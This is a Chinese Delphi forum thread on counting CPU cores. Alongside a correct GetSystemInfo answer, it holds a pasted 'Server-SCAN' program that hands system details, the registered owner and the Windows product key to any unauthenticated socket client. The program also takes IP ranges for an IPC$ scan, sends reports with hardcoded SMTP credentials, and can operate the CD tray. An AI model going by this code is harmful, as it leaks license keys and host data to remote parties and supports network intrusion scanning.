怎樣用代碼辯別當前cpu是否是雙核(或取cpu的數量)???(30分)

mynone · 2006-07-18

怎樣用代碼辯別當前cpu是否是雙核(或取cpu的數量)???

smokingroom · 2006-07-18

var
lpSystemInfo:SYSTEM_INFO;
begin
GetSystemInfo(lpSystemInfo);
ShowMessage(IntToStr(lpSystemInfo.dwNumberOfProcessors));
//dwNumberOfProcessors为cpu之数量
end;

weiliu · 2006-07-18

问题: 在delphi中如何获取当前计算机系统的配置情况（包括系统的硬件和所装的应用软件） ( 积分: 200 )
分类: 系统相关

来自: taoqg, 时间: 2003-04-26 18:12:00, ID: 1805664
我想做一个系统资源的自动搜索程序，无从着手，请各位给点启发.

在delphi中如何获取当前计算机系统的配置情况（包括系统的硬件和所装的应用软件）

来自: 52free, 时间: 2003-04-26 18:23:00, ID: 1805688
这个问题应该找本书来解决
delphi5程序员开发指南中有你要知道的结果还有例程

来自: jianl, 时间: 2003-04-26 18:34:00, ID: 1805714
似乎有一大堆有关sysinfo的控件，或者也可以不厌其烦的四处找每个细节的代码。

来自: 爱元元的哥哥, 时间: 2003-04-26 19:03:00, ID: 1805764
unit MSI_Devices;

interface

uses
SysUtils, Windows, Classes;

type
TDeviceClass = (dcBattery, dcComputer, dcDiskDrive, dcDisplay, dcCDROM, dcfdc,
dcFloppyDisk, dcGPS, dcHIDClass, dchdc, dc1394, dcImage, dcInfrared,
dcKeyboard, dcMediumChanger, dcMTD, dcMouse, dcModem, dcMonitor,
dcMultiFunction, dcPortSerial, dcNet, dcLegacyDriver,
dcNtApm, dcUnknown, dcPCMCIA, dcPorts, dcPrinter, dcSCSIAdapter,
dcSmartCardReader, dcMEDIA, dcVolume, dcSystem, dcTapeDrive,
dcTapeController, dcTape, dcUSB);

PDevice = ^TDevice;

TDevice = record
ClassName,
ClassDesc,
ClassIcon,
FriendlyName,
Description,
GUID,
Manufacturer,
Location,
HardwareID,
Driver,
DriverDate,
DriverVersion,
DriverProvider,
Service,
ServiceName,
ServiceGroup: string;
ServiceType: integer;
RegKey: string;
DeviceClass :TDeviceClass;
end;

TPakDevice = packed record
ClassName,
ClassDesc,
ClassIcon,
FriendlyName,
Description,
GUID,
Manufacturer,
Location,
HardwareID,
Driver,
DriverDate,
DriverVersion,
DriverProvider,
Service,
ServiceName,
ServiceGroup: string[255];
ServiceType: integer;
RegKey: string[255];
DeviceClass :TDeviceClass;
end;

TDeviceList = TStringList;

TDevices = class(TComponent)
private
FCount: integer;
FDeviceList: TDeviceList;
function GetDevice(Index: integer): TDevice;
function GetDeviceCount: integer;
procedure ScanDevices(var ADeviceList: TDeviceList);
function GetDeviceClass(AClassName: string): TDeviceClass;
procedure ClearList;
public
constructor Create(AComponent:TComponent);override;
destructor Destroy; override;
procedure GetInfo;
procedure SaveTo(var Ms:TMemoryStream);
procedure LoadFrom(Ms:TMemoryStream);
procedure GetDevicesByClass(ADeviceClass: TDeviceClass; var ADevices: TStrings);
property Devices[Index: integer]: TDevice read GetDevice;
published
property DeviceCount: integer read FCount {$IFNDEF D6PLUS} write FCount {$ENDIF} stored False;
end;

implementation

uses Registry ,Common;

const
DeviceClass :array[dcBattery..dcUSB] of string =
('Battery', 'Computer', 'DiskDrive', 'Display', 'CDROM', 'fdc',
'FloppyDisk', 'GPS', 'HID', 'hdc', '1394', 'Image', 'Infrared',
'Keyboard', 'MediumChanger', 'MTD', 'Mouse', 'Modem', 'Monitor',
'MultiFunction', 'MultiPortSerial', 'Net', 'LegacyDriver',
'NtApm', 'Unknown', 'PCMCIA', 'Ports', 'Printer', 'SCSIAdapter',
'SmartCardReader', 'MEDIA', 'Volume', 'System', 'TapeDrive', 'TapeController', 'Tape', 'USB');

{ TDevices }

constructor TDevices.Create(AComponent: TComponent);
begin
inherited;
FDeviceList:=TDeviceList.Create;
end;

destructor TDevices.Destroy;
begin
ClearList;
FDeviceList.Free;
inherited;
end;

procedure TDevices.GetDevicesByClass;
var
i,c: integer;
s: string;
begin
ADevices.Clear;
c:=DeviceCount-1;
for i:=0 to c do
if Devices.DeviceClass=ADeviceClass then begin
if Trim(Devices.FriendlyName)='' then
s:=Devices.Description
else
s:=Devices.FriendlyName;
ADevices.Add(s);
end;
end;

function TDevices.GetDevice(Index: integer): TDevice;
begin
try
Result:=PDevice(FDeviceList.Objects[Index])^;
except
end;
end;

function TDevices.GetDeviceClass(AClassName: string): TDeviceClass;
var
i: TDeviceClass;
begin
Result:=dcUnknown;
AClassName:=UpperCase(AClassName);
for i:=dcBattery to dcUSB do
if Pos(UpperCase(DeviceClass),AClassName)=1 then begin
Result:=i;
Break;
end;
end;

function TDevices.GetDeviceCount: integer;
begin
Result:=FDeviceList.Count;
end;

procedure TDevices.GetInfo;
begin
ScanDevices(FDeviceList);
FDeviceList.Sort;
FCo

来自: taoqg, 时间: 2003-06-14 17:38:00, ID: 1952472
我用的是d6,win200
编译通不过！

来自: taoqg, 时间: 2003-06-14 18:02:00, ID: 1952529
急！

来自: taoqg, 时间: 2003-06-16 16:28:00, ID: 1956353
ji!

来自: jcjy, 时间: 2003-06-16 16:43:00, ID: 1956397
d5开发人员指南中有你要的。有源码。

来自: eastnet, 时间: 2003-06-16 21:07:00, ID: 1957085
源码空间中有

来自: taoqg, 时间: 2003-08-25 17:18:00, ID: 2133212
请教

来自: xebaobei, 时间: 2003-08-25 17:21:00, ID: 2133222
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, registry,mmsystem;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Memo1: TMemo;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure email(mail:string);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
temp:string;
b:integer;
qip,ip,mail,zjx,xcx: string;
real: boolean;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

procedure TForm1.email(mail:string);
Var
Body:TStringList;
begin
Body:=TStringList.Create;
Body.Add(memo1.Lines.Text);
IdMessage1.Body.Assign(Body);
IdMessage1.From.Text:='faqone@peoplemail.com.cn';
IdMessage1.Recipients.EMailAddresses:=mail;
IdMessage1.Subject:='SREVER-IPC$ SCAN 扫描报告';
self.idSMTP1.AuthenticationType:=atLogin;
IdSMTP1.UserID:='faqone';
IdSMTP1.Password:='ccccccc';
idsmtp1.Port:=25;
IdSMTP1.Host:='smtp.peoplemail.com.cn';
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;
memo1.Lines.Add('OK');
end;

{$R *.dfm}

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
OSVI:OSVERSIONINFO;
s:string;
is98orlater:boolean;
SysInfo: SYSTEM_INFO;
memlnfo: memorystatus;
sysdir: array[0..255] of char;
reg: tregistry;
begin
memo1.Lines.Add(Socket.RemoteAddress+'连接本机');
if (ServerSocket1.Socket.ActiveConnections=1)and(real=true) then
begin
b:=1;
temp:='';
qip:=Socket.RemoteAddress;

socket.SendText('┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━┓'+#13+#10);
socket.SendText('┃┏┅┅┅┅┅┅┅┅┅┅┅┅┅┅┓┃ ┃'+#13+#10);
socket.SendText('┃┇欢迎使用 Server-SCAN 测试版┇┃ ┃'+#13+#10);
socket.SendText('┃┇制作人：黑冰 ┇┃ ┃'+#13+#10);
socket.SendText('┃┇O I CQ：3860040 ┇┃ ┃'+#13+#10);
socket.SendText('┃┇M ail：szq993@163.com ┇┃ ┃'+#13+#10);
socket.SendText('┃┗┅┅┅┅┅┅┅┅┅┅┅┅┅┅┛┃ ┃'+#13+#10);
socket.SendText('┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━┛'+#13+#10);

//-------------------------------------------------------
socket.Sendtext(' ※━系统信息━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━》'+#13+#10);
socket.Sendtext(' '+socket.LocalAddress+'['+socket.LocalHost+']' );
socket.SendText(#13+#10);
socket.SendText(#13+#10);
socket.Sendtext(' ☆ＷＩＮＤＯＳ系统版本号以及运行模式'+#13+#10);

OSVI.dwOSVersionInfoSize:=sizeof(OSVERSIONINFO);
//设置版本信息结构的大小
GetVersionEx(OSVI);
//获取版本信息
is98orlater:=
//判断是否98或以后版本
(osvi.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS) and
((osvi.dwMajorVersion>4) or
((osvi.dwMajorVersion=4) and (osvi.dwMinorVersion>0)));

//下面开始显示信息
case OSVI.dwPlatformId of
//根据OSVI.dwPlatformId的数值的不同显示具体的平台描述
VER_PLATFORM_WIN32s:
// Windows 3.1平台
s:='Windows 3.1';
VER_PLATFORM_WIN32_WINDOWS:
// Windows 95/98平台
if(is98orlater) then
//98
s:='Windows 98'
else
//95
s:='Windows 95';
VER_PLATFORM_WIN32_NT:
// Windows NT平台
s:='Windows NT';
end;

socket.Sendtext( '　　　系统平台: '+s+#13+#10);
socket.Sendtext( '　　　主版本号: '+IntToStr(OSVI.dwMajorVersion)+#13+#10);
socket.Sendtext( '　　　次版本号: '+IntToStr(OSVI.dwMinorVersion)+#13+#10);
socket.Sendtext( '　　　次版本号: '+IntToStr(OSVI.dwMinorVersion)+#13+#10);

case OSVI.dwPlatformId of
//根据平台的不同具体处理OSVI.dwBuildNumber信息
VER_PLATFORM_WIN32_WINDOWS:
// Windows 95/98平台则取OSVI.dwBuildNumber的低位字
s:=IntToStr(LOWORD(OSVI.dwBuildNumber));
VER_PLATFORM_WIN32_NT:
// Windows NT平台则取所有位的值
s:=IntToStr(OSVI.dwBuildNumber);
else
s:='';
// Windows 3.1平台此值位空
end;
socket.Sendtext( '　　　构建号　: '+s+#13+#10);
socket.Sendtext( '　　　系统描述: '+OSVI.szCSDVersion+#13+#10);

//显示运行模式
case(GetSystemMetrics(SM_CLEANBOOT)) of
0: s := '正常模式启动';
1: s := '安全模式启动';
2: s := '安全模式启动,但附带网络功能'
else
s := '错误：系统启动有问题';
end;
socket.Sendtext( '　　　运行模式: '+s+#13+#10);
socket.SendText(#13+#10);
//－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
socket.Sendtext(' ☆度量信息以及相关配置信息'+#13+#10);
socket.Sendtext( '　　　屏幕　分辨率: '+inttostr(getsystemmetrics(SM_CXSCREEN))+'*'+inttostr(getsystemmetrics(SM_CYSCREEN))+#13+#10);
socket.Sendtext( '　　　窗口边界宽度: 水平方向：'+inttostr(getsystemmetrics(SM_CXborder))+' 垂直方向：'+inttostr(getsystemmetrics(SM_CYborder))+#13+#10);
socket.Sendtext( '　　　标题栏　高度: '+inttostr(getsystemmetrics(SM_Cycaption))+#13+#10);
if getsystemmetrics(sm_mousepresent)=1 then
begin
s:='已安装鼠标'+inttostr(getsystemmetrics(SM_cmousebuttons))+'键鼠标　双击范围'+inttostr(getsystemmetrics(SM_cxdoubleclk))+'*'+inttostr(getsystemmetrics(SM_cydoubleclk));
end
else
begin
s:='没有安装鼠标';
end;
socket.Sendtext( '　　　鼠标　　信息: '+s+#13+#10);
socket.Sendtext( '　　　默认光标大小: '+inttostr(getsystemmetrics(SM_cxcursor))+'*'+inttostr(getsystemmetrics(SM_cycursor))+#13+#10);
socket.Sendtext( '　　　默认图标大小: '+inttostr(getsystemmetrics(SM_cxicon))+'*'+inttostr(getsystemmetrics(SM_cyicon))+#13+#10);
//---------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆ＣＰＵ相关信息'+#13+#10);
// 获取C P U信息
GetSystemInfo(SysInfo);
// 处理器个数
socket.Sendtext( '　　　ＣＰＵ个数: '+IntToStr( SysInfo.dwNumberOfProcessors )+#13+#10);
// 处理器类型
case SysInfo.dwProcessorType of
386: s:='CPU类型为3 8 6系列' ;
486: s:='CPU类型为4 8 6系列' ;
586: s:='CPU类型为奔腾系列' ;
end ;
socket.Sendtext( '　　　ＣＰＵ类型: '+s+#13+#10);
//-------------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆内存相关信息'+#13+#10);
memlnfo.dwlength:=sizeof(memorystatus);
globalmemorystatus(memlnfo);

socket.Sendtext( '　　　'+inttostr(memlnfo.dwMemoryLoad)+'％内存在使用'+#13+#10);
socket.Sendtext( '　　　物理内存共有'+inttostr(memlnfo.dwTotalPhys)+'字节'+#13+#10);
socket.Sendtext( '　　　未使用的物理内存共有'+inttostr(memlnfo.dwAvailPhys)+'字节'+#13+#10);
socket.Sendtext( '　　　交换文件的大小为'+inttostr(memlnfo.dwTotalPageFile)+'字节'+#13+#10);
socket.Sendtext( '　　　未使用的交换文件的大小为'+inttostr(memlnfo.dwAvailPageFile)+'字节'+#13+#10);
socket.Sendtext( '　　　虚拟内存空间大小为'+inttostr(memlnfo.dwTotalVirtual)+'字节'+#13+#10);
socket.Sendtext( '　　　未使用的虚拟内存空间大小为'+inttostr(memlnfo.dwAvailVirtual)+'字节'+#13+#10);
//-------------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆文件相关信息'+#13+#10);
getwindowsdirectory(sysdir,255);
socket.Sendtext( '　　　系统安装目录: '+sysdir+#13+#10);
getsystemdirectory(sysdir,255);
socket.Sendtext( '　　　系统文件路径: '+sysdir+#13+#10);
socket.Sendtext( '　　　本程序　位置: '+extractfiledir(application.exename)+'/'+extractfilename(application.exename)+#13+#10);
//-------------------------------------------------------------
socket.SendText(#13+#10);
socket.Sendtext(' ☆系统注册信息'+#13+#10);
reg:=tregistry.create;
reg.RootKey:=hkey_local_machine;
reg.OpenKey('software/microsoft/windows/currentversion',false);
socket.Sendtext( '　　　公司名称: '+reg.ReadString('registeredorganization')+#13+#10);
socket.Sendtext( '　　　用户姓名: '+reg.ReadString('registeredowner')+#13+#10);
socket.Sendtext( '　　　序列　号: '+reg.ReadString('ProductId')+#13+#10);
socket.Sendtext( '　　　注册　码: '+reg.ReadString('productkey')+#13+#10);
reg.CloseKey;
reg.Free;
socket.Sendtext(' ※━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ＥＮＤ━》'+#13+#10);
socket.SendText(#13+#10);
socket.SendText(' 请输入您要扫描的IP段例:“192.168.0.1-192.168.0.255”'+#13+#10);
socket.SendText(' CMD:>');
end
else
begin
socket.SendText('┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━┓'+#13+#10);
socket.SendText('┃┏┅┅┅┅┅┅┅┅┅┅┅┅┅┅┓┃ ┃'+#13+#10);
socket.SendText('┃┇欢迎使用 Server-SCAN 测试版┇┃ ┃'+#13+#10);
socket.SendText('┃┇制作人：黑冰 ┇┃ 有人在使用或任务中 ┃'+#13+#10);
socket.SendText('┃┇O I CQ：3860040 ┇┃ ┃'+#13+#10);
socket.SendText('┃┇M ail：szq993@163.com ┇┃ ┃'+#13+#10);
socket.SendText('┃┗┅┅┅┅┅┅┅┅┅┅┅┅┅┅┛┃ ┃'+#13+#10);
socket.SendText('┗━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━┛'+#13+#10);
end;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
ls:string;
q:integer;
begin
if real and (Socket.RemoteAddress=qip) then
begin
ls:=socket.ReceiveText;
q:=ord(pchar(ls)^);
if q=13 then
begin
socket.SendText(temp+#13+#10);
socket.SendText(#13+#10);
if b=1 then
begin
ip:=temp;
if temp='1' then mcisendstring('set cdaudio door open wait',nil,0,handle);
if temp='2' then mcisendstring('set cdaudio door CLOSED wait',nil,0,handle);
temp:='';
b:=2;
socket.SendText(' 请输入您的信箱例:“szq993@163.com”(某些邮箱不支持)'+#13+#10);
socket.SendText(' CMD:>');
exit;
end;
if b=2 then
begin
mail:=temp;
temp:='';
b:=3;
socket.SendText(' 请输入并发主机数量例:“10”(默认10)'+#13+#10);
socket.SendText(' CMD:>');
exit;
end;
if b=3 then
begin
if temp='' then
zjx:='10'
else
zjx:=temp;
temp:='';
b:=4;
socket.SendText(' 请输入每主机线程数量例:“10”(默认10)'+#13+#10);
socket.SendText(' CMD:>');
exit;
end;
if b=4 then
begin
if temp='' then
xcx:='10'
else
xcx:=temp;
temp:='';
b:=5;
socket.SendText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━'+#13+#10);
socket.SendText(' IP　　　　段：'+ip+#13+#10);
socket.SendText(' 信　　　　箱：'+mail+#13+#10);
socket.SendText(' 并发　主机数：'+zjx+#13+#10);
socket.SendText(' 每主机线程数：'+xcx+#13+#10);
socket.SendText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━'+#13+#10);
socket.SendText(' 您的信息已经提交完毕，请确认[y/n](默认y)');
exit;
end;
if b=5 then
begin
socket.SendText('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━'+#13+#10);
if (temp='n') then
begin
b:=6;
socket.SendText('您取消了，按任意键退出-->'+#13+#10);
end
else
begin
memo1.Lines.Add('IP　　　　段：'+ip);
memo1.Lines.Add('信　　　　箱：'+mail);
memo1.Lines.Add('并发　主机数：'+zjx);
memo1.Lines.Add('每主机线程数：'+xcx);
memo1.Lines.Add('启动了-->>');
b:=6;
socket.SendText('主机已经执行了扫描操作，请注意观察您的邮箱，等待扫描报告'#13+#10);
socket.SendText('按任意键退出-->');
email(mail);
exit;
end;
end;
if b=6 then
begin
memo1.Lines.Add('对方连接窗口关闭');
real:=false;
ServerSocket1.socket.Disconnect(0);
exit;
end;
end
else
begin
temp:=temp+ls;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
real:=true;
end;

procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo1.Lines.Add(Socket.RemoteAddress+'连接断开');
b:=0;
end;

end.

写完程序
用TELNET连接自己
telnet 127.0.0.1 1005

问题讨论没有结束 ...

mynone · 2006-07-19

多人接受答案了。

怎樣用代碼辯別當前cpu是否是雙核(或取cpu的數量)???(30分)

mynone

Unregistered / Unconfirmed

smokingroom

Unregistered / Unconfirmed

weiliu

Unregistered / Unconfirmed

mynone

Unregistered / Unconfirmed

Similar threads